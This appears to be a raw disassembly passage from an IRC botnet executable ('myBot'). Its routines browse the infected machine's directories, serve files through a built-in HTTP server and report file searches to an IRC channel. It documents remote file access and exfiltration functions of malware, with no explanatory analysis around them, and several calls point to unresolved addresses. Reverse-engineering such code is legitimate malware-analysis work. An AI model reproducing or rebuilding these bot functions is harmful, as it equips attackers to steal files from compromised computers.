		jmp	short loc_40F59B
; ---------------------------------------------------------------------------

loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 2730000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 27215EBh
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------

loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h

loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFC4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------

loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h

loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB00C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------

loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2

loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------

loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------

loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al

loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al

loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D

loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_429998 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2680CF2h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------

loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi

loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi

loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AA8 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------

loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx

loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB00C
		jmp	loc_40F963
; ---------------------------------------------------------------------------

loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2700923h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 27309E3h
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 2660969h
		nop

loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433A74
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEB4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40F935

loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2670EA1h
		jmp	short loc_40F923
; ---------------------------------------------------------------------------

loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB00C
		nop
		call	near ptr 2680835h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A3C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------

loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------

loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14

loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08

loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4

loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25C0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 275035Eh
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh

loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 2750000h
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2740775h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"

loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch

loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------

loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------

loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------

loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293C4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------

loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------

loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi

loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h

loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		nop
		call	near ptr 2670EA1h

loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 275035Eh
		test	eax, eax
		jnz	loc_40FB8F

loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2740000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 2700923h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		nop
		call	near ptr 27309E3h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1

loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]

loc_41004D:				; DATA XREF: ___:00437A30o
					; ___:00437A44o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]

loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2760000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2700000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF08
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax

loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035

loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		call	near ptr 2660969h
		nop

loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6

loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh

loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0

loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAEE4
		push	6
		push	1
		push	2
